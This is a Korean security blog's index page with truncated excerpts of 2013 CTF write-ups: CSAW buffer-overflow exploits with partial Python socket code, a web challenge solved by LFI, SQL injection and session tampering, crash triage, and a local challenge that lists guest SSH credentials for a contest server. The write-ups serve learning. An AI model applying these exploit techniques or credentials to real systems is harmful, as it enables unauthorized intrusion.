sweetchip's blog

왜 이문제를 헤맷는지 모르겟지만. 어쨋든 대회중엔 시간이 하루밖에 안나서 못푼 문제다. 근데 오늘 갑자기 아이디어가 팍 떠오르고 바로 exploit을 시도했다. fil_chal Aslr : Off (fork())NX : Off (execstack : X) from struct import pack, unpackimport time p = lambda x : pack(" ") 브루트 포싱으로 쉘을 따는건데 약간 느려서 주소를 설정해서 작성햇다. 대회시간대가 아니라 csaw 서버에서 못풀고 로컬에서 풀엇다 ㅠㅠ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////..

0x10 정보보안/0x13 Write-Up 2013. 9. 23. 22:51

버퍼 주소까지 그냥 줘서 까나리만 맞춰주고 금방 잘 풀수 있엇다. 처음에는 canary가 잇는줄 모르고 분명히 exploit 코드가 맞는데 라고 생각하면서 고집부리다가 피본 문제다;; canary를 맞춰주지 않으면 return 이 아닌 exit 을 하기때문에 eip가 변조되지 않는다. exploit2 Aslr : Off (fork())NX : Off (execstack : X) from socket import *from struct import pack, unpackimport time #csaw exploitation level2p = lambda x : pack(" ")

0x10 정보보안/0x13 Write-Up 2013. 9. 23. 22:48

csaw대회에서 비교적 쉬운 포너블 문제로 생애 처음으로 ctf중에 리모트 쉘을 따는것을 성공했다. 아 물론 이 문제는 아니지만.. ㅎㅎ 한줄요약 : Simple Buffer Overflow exploit1 Aslr : Off (fork())NX : Off (execstack : X) from Tkinter import Tkfrom socket import *import time HOST = "128.238.66.212"PORT = 31337 a = "A"*1016a = '1' print "[*] Sending Exploit Codes.." s = socket(AF_INET,SOCK_STREAM)s.connect((HOST,PORT))s.recv(12070)time.sleep(0.4)s.send(a)ti..

0x10 정보보안/0x13 Write-Up 2013. 9. 23. 22:47

여러모로 멘탈붕괴를 제대로 먹여준 화이트햇.. 그중 웹 문제는 타임 오버로 풀게되어 인증을 하지 못했엇는데 그 아쉬움을 포스팅으로 풀어보려 합니다 ㅋㅋ 문제 페이지는 이렇게 생겻는데 카라의 한승연 팬페이지를 컨셉으로 잡은 취약점이 존재하는 페이지입니다. 왠지 꼭 비밀글을 읽어야 할거같은 분위기라서 분위기에 따라가기로 했습니다. 우선 풀이방법을 한줄요약하면 SQL Injection과 SESSION 조작입니다. 팬페이지에는 LFI 취약점이 존재하며, INC 파일을 include 시키는 방식이었습니다. 위 파라미터에 아무 값을 삽입하면 include 에러가 발생하며, inc 파일을 찾을수 없다고 나오는데, 그 에러 메세지를 찾아 inc 파일들을 살펴볼 수 있었습니다. inc 파일에는 웹페이지의 소스코드가 담겨..

0x10 정보보안/0x13 Write-Up 2013. 9. 18. 19:12

한창 bob 과제로 바쁘다가.. 이제는 좀 여유로워 졌습니다. 대학교 원서도 넣어야 하고 bob 프로젝트도 해야하고 다시 또 바쁜 한달이 될것 같습니다.. -_-;;; BOB수업때 심준보 멘토님의 윈도우 Exploit에 대한 내용을 보고 배우던 여러가지중 기억에 남는게 하나 있습니다. 프로그램의 취약점을 찾기위해 Fuzzing을 하고 나온 크래시들을 이용해서 Exploit하는데 크래시를 분석하는게 상당히 노가다입니다. 그래서 그나마 쉽게 1차적으로 분류하는 것을 간략하게 배웠습니다. 윈도우 프로그램들을 퍼징해서 나온 크래시들을 분류할때 여러 방법이 있고 크게 4가지로 분류한다고 하셨는데 이것이 MS에서 분류 하는것이라고 하시더군요! 그래서 더 듣고보니 이번 1월달 취약점을 Exploit할때 접했던 Win..

0x10 정보보안/0x15 System 2013. 9. 1. 21:03

닉네임 : 맛있는 치킨파티 ㅎㅎ 문제들 재밋는게 많고 작년에 처음 나가서 26위인가 했엇는데 이번해는 20등 상승했네요! 포렌식 200 브레이크 쓰루도 해보고.. [브레이크 쓰루 자체가 첨이네요] 그리고... 10위안에 못들것 같았는데 들다니.. 신기합니다 ㅎㅎㅎ 풀이 첨부합니다. 2013_yisf_sweetchip.pdf

0x10 정보보안/0x13 Write-Up 2013. 8. 21. 00:23

간만에 BOB가 일찎 끝나서 시간이 많았네요~ 지난번에 10번 바이너리 받아놓기만 하고 그냥 보고만 있었는데 오늘 마침 풀게 되었습니다. 흐흐 '예선전' 난이도가 비교적 다른 대회보단 낮은편이라서 시스템에 엄청나게 약한 저도 그리 어렵지 않게 풀수 있었습니다/// [본선은 엄청 어려울것 같네요..] 드디어 마지막 레벨까지 오셨군요.마지막까지 화이팅입니다. 리눅스 로컬 문제이고 바이너리를 분석하여 풀이를 인증하기 위한 키를 획득하세요! [SSH 정보]IP: 112.172.160.241PORT: 2323ID: guest_facePassword: computergenius문제 바이너리 위치: /home/face/chal 문제 서버로 접속해보면 바이너리와 키값이 있다. 일단 이 문제는 바로 이전의 포스팅을 보면..

0x10 정보보안/0x15 System 2013. 8. 4. 01:13

서버상에 바이너리 파일 한개와 crack.txt, admin_hash 파일이 존재하는 것을 볼수 있습니다. 문제 설명을 보면 대회 rule에 말씀드린 바대로 현재 잘 풀리지 않고 있는 문제에 대한 힌트를 제공해 드리겠습니다. =========================================================level6 : snprintf(), truncate vulnerabilitylevel7 : timing issue, 1초는 매우 길다!level8 : anti reversing (elf header)level9 : simple reversing and dictionary cracklevel10 : 푸는 방법이 3가지)1) system() 함수를 이용 (초딩)2) 오버플로우 이용 (..

0x10 정보보안/0x13 Write-Up 2013. 7. 29. 07:57